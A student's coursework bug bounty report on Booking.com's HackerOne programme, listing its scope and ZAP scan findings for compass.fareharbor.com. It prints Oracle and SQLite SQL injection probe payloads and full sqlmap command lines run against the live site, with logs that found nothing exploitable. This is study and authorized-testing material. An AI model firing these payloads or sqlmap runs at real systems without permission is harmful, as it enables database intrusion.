

BUB BOUNTY



IT NUMBER: IT22345332

NAME: G.P DINUJAYA THAMARA

WEEKEND BATCH

MALABE CAMPUS

IT22345332

Bug Bounty Platform – Hacker One**Bug Bounty Program - Booking.com****Scope****In Scope Assets**

For in Scope Assets please refer to the Scope tab

Out-Of-Scope Applications Any application whether owned by Booking.com or third-party vendor **not included as an in-scope asset** will be mentioned on the scope tab as out of scope.

For Out Of Scope Assets please refer to the Scope tab

In-scope Vulnerabilities

Accepted, in-scope vulnerabilities include, but are not limited to:

- Disclosure of sensitive or personally identifiable information
- Cross-Site Scripting (XSS) - Please note, for XSS if the same issue is reported for the different subdomains but with the same root cause, it will be considered duplicate
- Cross-Site Request Forgery (CSRF) for sensitive functions in a privileged context
- Remote code execution (RCE)
- Authentication or authorization flaws, including insecure direct object references and authentication bypass
- Injection vulnerabilities, including SQL and XML injection
- Directory traversal
- Significant security misconfiguration with a verifiable vulnerability
- Account takeover by exploiting a vulnerability

- SSRF
- XXE
- Subdomain takeover in *.booking.com domains

Out-Of-Scope Vulnerabilities Depending on their impact, not all reported issues may qualify for a monetary reward. However, all reports are reviewed on a case-by-case basis and any report that results in a change being made will at a minimum receive recognition. Please note that our **program terms and rules of engagement** still apply.

The following issues are outside the scope of our vulnerability rewards program:

- Any vulnerability which requires access to a compromised email account or Booking.com account for successful exploitation
- Vulnerabilities on Third Party Products
- Attacks requiring physical access to a user's device or network.
- Forms missing CSRF tokens (we require evidence of actual CSRF vulnerability)
- Login/Logout CSRF
- Missing security headers which do not lead directly to a vulnerability
- Use of a known-vulnerable library (without evidence of exploitability)
- Reports from automated tools or scans
- Social engineering of Booking staff or contractors
- Denial of Service attacks and/or reports on rate limiting issues
- Not enforcing certificate pinning
- Any issues that require a rooted or jailbroken device or a compromised device
- Clickjacking
- Improper session invalidation
- User enumeration
- Host header injections without a specific, demonstrable impact
- Self-XSS, which includes any payload entered by the victim

IE2062 – Web Security

Semester 2, 2024

- Any vulnerabilities requiring significant and unlikely interaction by the victim, such as disabling browser controls
- Content spoofing without embedded HTML or JavaScript
- Hypothetical issues that do not have any practical impact
- Infrastructure vulnerabilities, including:
 - Issues related to SSL certificates
 - DNS configuration issues
 - Server configuration issues (e.g. open ports, TLS versions, etc.)

Asset name ↑	Type ↑	Coverage ↑	Max. severity ↓	Bounty ↑	Last update ↑
https://iphone-xml.booking.com/json/	URL	In scope	Critical	Eligible	Nov 29, 2023
https://secure-iphone-xml.booking.com/json/	URL	In scope	Critical	Eligible	Dec 13, 2023
supplier.auth.toag.booking.com	Domain	In scope	Critical	Eligible	Jan 24, 2023
metasearch-api.booking.com	Domain	In scope	Critical	Eligible	Nov 7, 2023
experiences.booking.com	Domain	In scope	Critical	Eligible	Nov 7, 2023
webhooks.booking.com	Domain	In scope	Critical	Eligible	Nov 29, 2023
paybridge.booking.com	Domain	In scope	Critical	Eligible	Dec 13, 2023
phone-validation.taxi.booking.com	Domain	In scope	Critical	Eligible	Dec 13, 2023
autocomplete.booking.com	Domain	In scope	Critical	Eligible	Nov 29, 2023
distribution-xml.booking.com	Domain	In scope	Critical	Eligible	Nov 29, 2023
paynotifications.booking.com	Domain	In scope	Critical	Eligible	Dec 13, 2023
supply-xml.booking.com	Domain	In scope	Critical	Eligible	Dec 13, 2023
accommodations.booking.com	Domain	In scope	Critical	Eligible	Nov 29, 2023
portal.taxi.booking.com	Domain	In scope	Critical	Eligible	Nov 29, 2023
secure-supply-xml.booking.com	Domain	In scope	Critical	Eligible	Nov 29, 2023

IE2062 – Web Security

Semester 2, 2024

widget.rentalcars.com	Domain	In scope	Critical	Eligible	Nov 15, 2023
cars.booking.com	Domain	In scope	Critical	Eligible	Jul 13, 2023
careers.booking.com	Domain	In scope	Critical	Eligible	Nov 6, 2023
accommodations.booking.com	Domain	In scope	Critical	Eligible	Nov 29, 2023
www.fareharbor.com	Domain	In scope	Critical	Eligible	Mar 5, 2024
New compass.fareharbor.com	Domain	In scope	Critical	Eligible	Updated Apr 30, 2024
New fhdn.fareharbor.com	Domain	In scope	Critical	Eligible	Updated Apr 30, 2024
*.rentalcars.com if there's any vulnerabilities raised on this asset that are owned by a third party we will not be accepting those reports	Wildcard	In scope	Critical	Eligible	Feb 29, 2024
secure.booking.com	Domain	In scope	Critical	Eligible	Nov 6, 2023
admin.booking.com	Domain	In scope	Critical	Eligible	Nov 29, 2023
booking.com	Domain	In scope	Critical	Eligible	Nov 6, 2023
*.booking.com if there's any vulnerabilities raised on this asset that are owned by a third party we will not be accepting those reports	Wildcard	In scope	Critical	Eligible	Feb 29, 2024
www.booking.com/bbmanage/data/*	Wildcard	Out of scope	None	Ineligible	Mar 19, 2024
spadmin.booking.com/	Domain	Out of scope	None	Ineligible	Mar 19, 2024
www.booking.com/bbmanage/*	Wildcard	Out of scope	None	Ineligible	Mar 19, 2024
secure.booking.com/company/*	Wildcard	Out of scope	None	Ineligible	Mar 19, 2024
secure.booking.com/orgnode/*	Wildcard	Out of scope	None	Ineligible	Mar 19, 2024
business.booking.com/	Domain	Out of scope	None	Ineligible	Mar 19, 2024
https://fareharbor.com/demo/	URL	Out of scope	None	Ineligible	Mar 19, 2024
https://www.booking.com/bbm.html	URL	Out of scope	None	Ineligible	Mar 19, 2024

IE2062 – Web Security

Semester 2, 2024

compass.fareharbor.com

From scan that has been done through the OWSAP ZAP these are the vulnerabilities it found

Alerts (26)

- SQL Injection - Oracle - Time Based
- SQL Injection - SQLite (3)
- Absence of Anti-CSRF Tokens (5)
- Content Security Policy (CSP) Header Not Set (7)
- Cross-Domain Misconfiguration (26)
- Missing Anti-clickjacking Header (2)
- Multiple X-Frame-Options Header Entries
- Session ID in URL Rewrite (10)
- Cookie No HttpOnly Flag (2)
- Cookie with SameSite Attribute None (10)
- Cross-Domain JavaScript Source File Inclusion (26)
- Private IP Disclosure (2)
- Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)
- Server Leaks Version Information via "Server" HTTP Response Header Field (18)
- Strict-Transport-Security Header Not Set (73)
- Timestamp Disclosure - Unix (26)
- X-Content-Type-Options Header Missing (55)
- Content Security Policy (CSP) Report-Only Header Found (2)
- Information Disclosure - Sensitive Information in HTTP Referrer Header (38)
- Information Disclosure - Suspicious Comments (81)
- Modern Web Application (6)
- Re-examine Cache-control Directives (32)
- Retrieved from Cache (49)

Alerts (26)

SQL Injection - Oracle - Time Based

GET: <https://compass.fareharbor.com/wp-content/plugins/gravityforms/assets/css/dist/gravity-forms-orbital-theme.min.css?ver=2.7.4>

SQL Injection - SQLite (3)

GET: <https://compass.fareharbor.com/wp-content/css/?primary-color=%7E0a6fce&secondary-color=%7E0a6fce&banner-button-bg-color=%7E0a6fce>

GET: <https://compass.fareharbor.com/wp-content/plugins/gravityforms/assets/css/dist/gravity-forms-theme-framework.min.css?ver=2.7.4>

GET: <https://compass.fareharbor.com/wp-content/plugins/gravityforms/legacy/css/formsmain.min.css?ver=2.7.4>

SQL Injection - Oracle - Time Based

URL: <https://compass.fareharbor.com/wp-content/plugins/gravityforms/assets/css/dist/gravity-forms-orbital-theme.min.css?ver=2.7.4>

Risk: High

Confidence: Medium

Parameter: ver

Attack: field: [ver], value [2.7.4] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) /]

Evidence: CWE ID: 89 WASC ID: 19

Source: Active (40021 - SQL Injection - Oracle)

Input Vector: URL Query String

Description: SQL injection may be possible.

Other Info: The query time is controllable using parameter value [2.7.4] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) /], which caused the request to take [6.289] milliseconds, when the original unmodified query with value [2.7.4] took [1.250] milliseconds

Solution: Do not trust client side input, even if there is client side validation in place. In general, type check all data on the server side. If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

6

IT22345332

Time-based Blind SQLi

Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.

Depending on the result, an HTTP response will be returned with a delay, or returned immediately. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. This attack is typically slow (especially on large databases) since an attacker would need to enumerate a database character by character.

<https://www.acunetix.com/websitesecurity/sql-injection2/#:~:text=Time%2Dbased%20SQL%20Injection%20is,query%20is%20TRUE%20or%20FALSE>.

Remediation

1. **Use built-in Object Data Models:** Instead of directly passing user input to the back-end SQL server, use built-in Object Data Models to gather and handle data. This helps to ensure that the input is properly sanitized and validated before being used in SQL queries.
2. **Parameterized queries:** Use parameterized queries in the language framework to construct SQL statements. This helps to prevent SQL injection by separating the SQL code from the user input. Here's an example in Python using the cx_Oracle library:
3. **Avoid string concatenation:** Avoid directly concatenating user input with SQL statements in the code base. This can make the application

vulnerable to SQL injection attacks. Instead, use parameterized queries or stored procedures to handle dynamic SQL statements.

```
import cx_Oracle

# Establish a connection to the Oracle database
connection = cx_Oracle.connect("username", "password", "hostname:port/service_name")

# Create a cursor object
cursor = connection.cursor()

# Use a parameterized query to retrieve data
query = "SELECT * FROM users WHERE username = :username"
cursor.execute(query, username="admin")

# Fetch the results
results = cursor.fetchall()

# Close the cursor and connection
cursor.close()
connection.close()
```

Attacking through SQLmap

```
(dinu_mrx@kali)-[~]
└─$ sqlmap -dbms oracle -u https://compass.fareharbor.com/welcome/ -a -technique T --level 5 --risk
3

      H
     [ ] {1.8.3#stable}
    [ ]
   [ ]
  [ ]
 [ ]
[ ]
|_IV... https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:52:30 /2024-05-03/

[13:52:30] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com
/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] Y
[13:52:35] [INFO] testing connection to the target URL
[13:52:36] [WARNING] potential permission problems detected ('Access denied')
[13:52:36] [WARNING] the web server responded with an HTTP error code (403) which could interfere wit
h the results of the tests
you have not declared cookie(s), while server wants to set its own ('__cf_bm=2EnOu_NT2RZ...i0I46tw_uQ
'). Do you want to use those [Y/n] Y
[13:52:39] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[13:52:39] [INFO] testing for SQL injection on URI parameter '#1*'
[13:52:39] [INFO] testing 'Oracle AND time-based blind'
[13:52:39] [WARNING] time-based comparison requires larger statistical model, please wait.....
..... (done)
[13:52:42] [INFO] testing 'Oracle OR time-based blind'
[13:52:44] [INFO] testing 'Oracle AND time-based blind (comment)'
[13:52:46] [INFO] testing 'Oracle OR time-based blind (comment)'
```



```

[13:53:15] [INFO] testing 'Oracle AND time-based blind'
[13:53:18] [INFO] testing 'Oracle OR time-based blind'
[13:53:22] [INFO] testing 'Oracle AND time-based blind (comment)'
[13:53:25] [INFO] testing 'Oracle OR time-based blind (comment)'
[13:53:29] [INFO] testing 'Oracle AND time-based blind (heavy query)'
[13:53:35] [INFO] testing 'Oracle OR time-based blind (heavy query)'
[13:53:43] [INFO] testing 'Oracle AND time-based blind (heavy query - comment)'
[13:53:46] [INFO] testing 'Oracle OR time-based blind (heavy query - comment)'
[13:53:50] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)'
[13:53:51] [WARNING] it appears that you have been blocked by the target server
[13:53:52] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)'
[13:53:55] [INFO] parameter 'User-Agent' appears to be 'Oracle time-based blind - Parameter replace (DBMS_PIPE
.RECEIVE_MESSAGE)' injectable
[13:53:55] [INFO] checking if the injection point on User-Agent parameter 'User-Agent' is a false positive
[13:53:55] [WARNING] false positive or unexploitable injection point detected
[13:53:55] [WARNING] parameter 'User-Agent' does not seem to be injectable
[13:53:55] [WARNING] heuristic (basic) test shows that parameter 'Referer' might not be injectable
[13:53:55] [INFO] testing for SQL injection on parameter 'Referer'
[13:53:55] [INFO] testing 'Oracle AND time-based blind'
[13:54:02] [INFO] testing 'Oracle OR time-based blind'

[13:53:55] [INFO] testing for SQL injection on parameter 'Referer'
[13:53:55] [INFO] testing 'Oracle AND time-based blind'
[13:54:02] [INFO] testing 'Oracle OR time-based blind'
[13:54:05] [INFO] testing 'Oracle AND time-based blind (comment)'
[13:54:07] [INFO] testing 'Oracle OR time-based blind (comment)'
[13:54:15] [INFO] testing 'Oracle AND time-based blind (heavy query)'
[13:54:20] [INFO] parameter 'Referer' appears to be 'Oracle AND time-based blind (heavy query)' injectable
[13:54:20] [INFO] checking if the injection point on Referer parameter 'Referer' is a false positive
[13:54:20] [WARNING] false positive or unexploitable injection point detected
[13:54:20] [WARNING] parameter 'Referer' does not seem to be injectable
[13:54:20] [WARNING] heuristic (basic) test shows that parameter 'Host' might not be injectable
[13:54:20] [INFO] testing for SQL injection on parameter 'Host'
[13:54:20] [INFO] testing 'Oracle AND time-based blind'
[13:54:27] [INFO] testing 'Oracle OR time-based blind'
[13:54:31] [INFO] testing 'Oracle AND time-based blind (comment)'
[13:54:35] [INFO] testing 'Oracle OR time-based blind (comment)'
[13:54:37] [INFO] testing 'Oracle AND time-based blind (heavy query)'
[13:54:42] [INFO] parameter 'Host' appears to be 'Oracle AND time-based blind (heavy query)' injectable
[13:54:42] [INFO] checking if the injection point on Host parameter 'Host' is a false positive
[13:54:42] [WARNING] false positive or unexploitable injection point detected
[13:54:42] [WARNING] parameter 'Host' does not seem to be injectable
[13:54:42] [CRITICAL] all tested parameters do not appear to be injectable. Rerun without providing the option
'--technique'. Please retry with the switch '--text-only' (along with --technique=BU) as this case looks like
a perfect candidate (low textual content along with inability of comparison engine to detect at least one dyn
mic parameter). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you
could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[13:54:42] [WARNING] HTTP error codes detected during run:
03 (Forbidden) - 1219 times


[*] ending @ 13:54:42 /2024-05-03/

```

According to the results there may be a oracle time based vulnerability in this domain.

SQL Injection - SQLite

URL: https://compass.fareharbor.com/wp-content/css/?primary-color=%7E0a6fce&secondary-color=%7E0a6fce&banner-button-bg-color=%7E003865&sub-menu-item-bg-color=%7E003865&horizontal-menu-bg-color=%7E003865&horizontal-menu-bg-color-alpha=100&menu-font-color=%7E003865&font-headline-name=Source+Sans+3&font-headline-weight=600&font-headline-fallback=sans-serif&font-body-name=Source+Sans+3&font-body-fallback=sans-serif&font-body-weight=200&id=1932&theme=sites%2Fh-compa&ss&cb=7690c631e4d6dcd9b6e19256ce1c5efdefd87&sets=base%2F_easy-autocomplete%2Cbase%2F_privacy&headline-font=source-sans-3&headline-font-weight=600&body-font=source-sans-3&body-font-weights=200%2C400

Risk:  High

Confidence: Medium

Parameter: primary-color

Attack: case randomblob(100000000) when not null then 1 else 1 end

Evidence: The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,286] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,321] milliseconds, when the original unmodified query with value [-0a6fce] took [1,255] milliseconds.

CWE ID: 89

WASC ID: 19

Source: Active (40024 - SQL Injection - SQLite)

Input Vector: URL Query String

Description:

SQL injection may be possible.

Other info:

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,286] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,321] milliseconds, when the original unmodified query with value [-0a6fce] took [1,255] milliseconds.

Solution:

Do not trust client side input, even if there is client side validation in place.
In general, type check all data on the server side.

```

HTTP/1.1 429 Too Many Requests
Date: Fri, 03 May 2024 05:55:20 GMT
Content-Type: text/html

<link rel="canonical" href="https://fareharbor.com/" />

<link rel="shortcut icon" href="/favicon.ico" />

<link rel="stylesheet" type="text/css" href="/nginx-static/style.css" />

<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

ga('create', 'UA-30982219-1', 'fareharbor.com');
ga('set', 'anonymizeIp', true);
ga('send', 'pageview');
</script>
</head>
<body>
<div class="static-page-wrap">
<div class="static-page-left">
<h1>

```

SQLite Injection Attacks

In SQLite injection means injecting some malicious code to gain access to other databases while accepting the input from web application. Suppose we have a registration page where the user needs to enter username but instead of that if he enters SQLite statement then it will run on our database and return the data based on his query statement. The basic idea for SQLite injection attacks is to get secure information from your database and to perform some vulnerable actions like updating existing records information

IE2062 – Web Security**Semester 2, 2024**

or delete/drop tables in the database, etc. Generally, these SQLite injection attacks can happen whenever your application relies on user input to construct the SQLite query statements. So while taking the input from users we need to validate that data before we send it to the database by defining pattern validations or accepting the input parameters in standard way.

SQLite Injection Attacks Example

Now we will see how SQLite injection attacks can happen and how we can prevent it with examples for that create table **emp_master** in your database using the following queries.

```
CREATE TABLE emp_master
(emp_id INTEGER PRIMARY KEY AUTOINCREMENT,
first_name TEXT,
last_name TEXT,
salary NUMERIC,
dept_id INTEGER);

INSERT INTO emp_master
values (2,'Shweta','Jariwala', 19300,2),
(3,'Vinay','Jariwala', 35100,3),
(4,'Jagruti','Viras', 9500,2),
(5,'Shweta','Rana',12000,3),
(6,'sonal','Menpara', 13000,1),
(7,'Yamini','Patel', 10000,2),
(8,'Khyati','Shah', 50000,3),
(9,'Shweta','Jariwala',19400,2),
(12,'Sonal','Menpara', 20000,4);
```

Now run following query to check the records of **emp_master** table.

```
sqlite> SELECT * FROM emp_master;
```

emp_id	first_name	last_name	salary	dept_id
2	Shweta	Jariwala	19300	2
3	Vinay	Jariwala	35100	3
4	Jagruti	Viras	9500	2
5	Shweta	Rana	12000	3
6	Sonal	Menpara	13000	1
7	Yamini	Patel	10000	2
8	Khyati	Shah	50000	3
9	Shweta	Jariwala	19400	2
12	Sonal	Menpara	20000	4

IE2062 – Web Security

Semester 2, 2024

For more information <https://www.tutlane.com/tutorial/sqlite/sqlite-injection-attacks>

Performing the attack through SQLmap.

```
(dinu_mrx@kali)=[~]
$ sqlmap -dbms sqlite -u https://compass.fareharbor.com/welcome/ -a --level 5 --risk 3

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:59:56 /2024-05-03/

[13:59:56] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] Y
[14:00:00] [INFO] testing connection to the target URL
[14:00:00] [WARNING] potential permission problems detected ('Access denied')
[14:00:00] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('__cf_bm=GvxiTW0aohN...cymbAIMkrQ'). Do you want to use those [Y/n] Y
[14:00:07] [INFO] testing if the target URL content is stable
[14:00:07] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/((s)tring/(r)egex/(q)uit)] C
[14:00:10] [INFO] testing if URI parameter '#1*' is dynamic
[14:00:10] [WARNING] URI parameter '#1*' does not appear to be dynamic
[14:00:10] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[14:00:10] [INFO] testing for SQL injection on URI parameter '#1*'
[14:00:10] [INFO] testing AND boolean-based blind - WHERE or HAVING clause'
[14:00:18] [INFO] testing OR boolean-based blind - WHERE or HAVING clause'
[14:00:21] [INFO] testing OR boolean-based blind - WHERE or HAVING clause (NOT)'
[14:00:28] [INFO] testing AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[14:00:36] [INFO] testing OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[14:00:42] [INFO] testing AND boolean-based blind - WHERE or HAVING clause (comment)'
[14:00:47] [INFO] testing OR boolean-based blind - WHERE or HAVING clause (comment)'
[14:00:48] [INFO] testing OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'
[14:00:42] [INFO] testing AND boolean-based blind - WHERE or HAVING clause (comment)'
[14:00:47] [INFO] testing OR boolean-based blind - WHERE or HAVING clause (comment)'
[14:00:48] [INFO] testing OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'
[14:00:49] [INFO] testing Boolean-based blind - Parameter replace (original value)'
[14:00:49] [INFO] testing Boolean-based blind - Parameter replace (DUAL)'
[14:00:50] [INFO] testing Boolean-based blind - Parameter replace (DUAL - original value)'
[14:00:50] [INFO] testing Boolean-based blind - Parameter replace (CASE)'
[14:00:51] [INFO] testing Boolean-based blind - Parameter replace (CASE - original value)'
[14:00:51] [INFO] testing HAVING boolean-based blind - WHERE, GROUP BY clause'
[14:01:07] [INFO] testing Generic inline queries'
[14:01:07] [INFO] testing SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)'
[14:01:17] [INFO] testing SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)'
[14:01:24] [INFO] testing SQLite inline queries'
[14:01:24] [INFO] testing SQLite > 2.0 stacked queries (heavy query - comment)'
[14:01:25] [INFO] testing SQLite > 2.0 stacked queries (heavy query)'
[14:01:28] [INFO] testing SQLite > 2.0 AND time-based blind (heavy query)'
[14:01:32] [INFO] testing SQLite > 2.0 OR time-based blind (heavy query)'
[14:01:37] [INFO] testing SQLite > 2.0 AND time-based blind (heavy query - comment)'
[14:01:41] [INFO] testing SQLite > 2.0 OR time-based blind (heavy query - comment)'
[14:01:47] [INFO] testing SQLite > 2.0 time-based blind - Parameter replace (heavy query)'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] N
[14:02:08] [INFO] testing Generic UNION query (NULL) - 1 to 10 columns'
[14:02:33] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[14:03:06] [INFO] testing Generic UNION query (49) - 11 to 20 columns'
[14:03:55] [INFO] testing Generic UNION query (49) - 21 to 30 columns'
[14:04:40] [INFO] testing Generic UNION query (49) - 31 to 40 columns'
[14:05:57] [INFO] testing Generic UNION query (49) - 41 to 50 columns'
[14:06:32] [WARNING] URI parameter '#1*' does not seem to be injectable
other non custom parameters found. Do you want to process them too? [Y/n/q] Y
```


IE2062 – Web Security

Semester 2, 2024

Absence of Anti-CSRF Tokens

URL: <https://compass.fareharbor.com/>

Risk:  Medium

Confidence: Low

Parameter:

Attack:

Evidence: <form role="search" method="get" class="search js-search menu-item-link" action="/search/" data-search-version="742">

CWE ID: 352

WASC ID: 9

Source: Passive (10202 - Absence of Anti-CSRF Tokens)

Input Vector:

Description:

No Anti-CSRF tokens were found in a HTML submission form.

A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL/form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site,

Other Info:

No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token] was found in the following HTML form: [Form 1: "s"].

Solution:


Phase: Architecture and Design

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard.

Content Security Policy (CSP) Header Not Set

URL: <https://compass.fareharbor.com/>

Risk:  Medium

Confidence: High

Parameter:

Attack:

Evidence:

CWE ID: 693

WASC ID: 15

Source: Passive (10038 - Content Security Policy (CSP) Header Not Set)

Alert Reference: 10038-1

Input Vector:

Description:

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a set of standard HTTP headers that allow website owners to declare approved sources of content that browsers should be allowed to load on that page — covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.

Other Info:

Solution:

Ensure that your web server, application server, load balancer, etc. is configured to set the Content-Security-Policy header.

HTTP/1.1 200 OK

Date: Fri, 03 May 2024 05:02:37 GMT

Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

<html lang="en-US" class="fhme">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<meta name="HandheldFriendly" content="True" />

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><script type="text/javascript">(window.NREUM||(NREUM={})).init({privacy:{cookies_enabled:true},ajax:{deny_list:["bam.nr-data.net"]}},distribut((>>>var e,t,r=(234:(e,t,r)>>("use strict";r.dt(P_:(j)>>w,Mt:(j)>>b,CS:(j)>>s,DL:(j)>>E,OP:(j)>>D,IF:(j)>>I,Yu:(j)>>_,Dg:(j)>>v,CX:(j)>>c,GE:(j)>>w,SU:(j)>>o);var n=r(8632),i=r(9567);const on(beacon.n.ce.beaconwrellic&(n.A.newrellic=n.A.NREUM),n.A.NREUM)function s(i){let e=a(i);return e.o||e.o[ST:n.A.setTimeout,SI:n.A.setImmediate,CT:n.A.clearTimeout,XHR:n.A.XMLHttpRequest,REQ:n.A.Request,EV:n.A.Event,t a=(0,i.CS)(e);return null==r?delete a.jsAttributes[t):(0,i.CX)(e,{...a.jsAttributes:{...a.jsAttributes,[t]:r}}),T(E,n,i,o||null==r?"session":void 0)(t,r)}function x(i){i.g.forEach((e=>[p[e]=T(E,e,i),iHeader=this.generateTraceHeader(s,c,u,n,i,o)),d.generateTraceContextParentHeader(e,t){return 00-"t+"-r+"e+"-01")generateTraceContextStateHeader(e,t,r,n,i){return i+"@nr=0-1-"r+"e+"-n+"-e+"-----"t)get

<meta name="viewport" content="width=device-width, initial-scale=1">

<meta http-equiv="Accept-CH" content="DPR, Width, Viewport-Width">

<script type="text/javascript">

/* <![CDATA[*/

var gform=gform||(document.addEventListener("gform_main_scripts_loaded",function(){gform.scriptsLoaded=10}),window.addEventListener("DOMContentLoaded",function(){gform.domLoaded=10}),gform={domLoaded:10

/*]]> */

</script>

<title>

FareHarbor Compass | FareHarbor Compass

11111111

IE2062 – Web Security

Semester 2, 2024

Cross-Domain Misconfiguration

URL: <https://cdn.cookielaw.org/scripttemplates/otSDKStub.js>

Risk:  Medium

Confidence: Medium

Parameter:

Attack:

Evidence: Access-Control-Allow-Origin: *

CWE ID: 264

WASC ID: 14

Source: **Passive (10098 - Cross-Domain Misconfiguration)**

Input Vector:

Description:

Web browser data loading may be possible, due to a Cross Origin Resource Sharing (CORS) misconfiguration on the web server

Other Info:

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

Solution:

Ensure that sensitive data is not available in an unauthenticated manner (using IP address white-listing, for instance).

Configure the "Access-Control-Allow-Origin" HTTP header to a more restrictive set of domains, or remove all CORS headers entirely, to allow the web browser to enforce the Same Origin Policy (SOP) in a more restrictive manner.

```
x-ms-blob-type: BlockBlob
```

Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Last-Modified,ETag,Content-MD5,x-ms-lease

```
Access-Control-Allow-Origin: *
```

```
Cache-Control: max-age=86400
```

CF-Cache-Status: HIT

Age: 84992

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload


X-Content-Type-Options: nosniff

Convert cloudflare

```
var OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.  
lit("/consent/"+p.migratedCCTID)[0]:p.storageBaseURL=(e?t.split("/consent"):t.split("/scripttemplates/"+p.stubFileName))[0],this.storageB
```

Missing Anti-clickjacking Header

URL: <https://fareharbor.com/embeds/cart/?u=6df93510-82ed-41c4-8a4f-93cc5f67efb5&from-ssl=yes&ga4t=&g4=yes&cp=no&csp=yes&back=https%3A%2F%2Fcompass.fareharbor.com%2F>

Risk:  Medium

Confidence: Medium

Parameter: x-frame-options

Attack:

Evidence:

CWE ID: 1021

WASC ID: 15
Source: Passive (10020 - Anti-clickjacking Header)

Alert Reference: 10020-1

Input Vector:

Description:

The response does not include either Content-Security-Policy with 'frame-ancestors' directive or X-Frame-Options to protect against 'ClickJacking' attacks.

Other Info:

Solution:

Modern Web browsers support the Content-Security-Policy and X-Frame-Options HTTP headers. Ensure one of them is set on all web pages returned by your site/app.

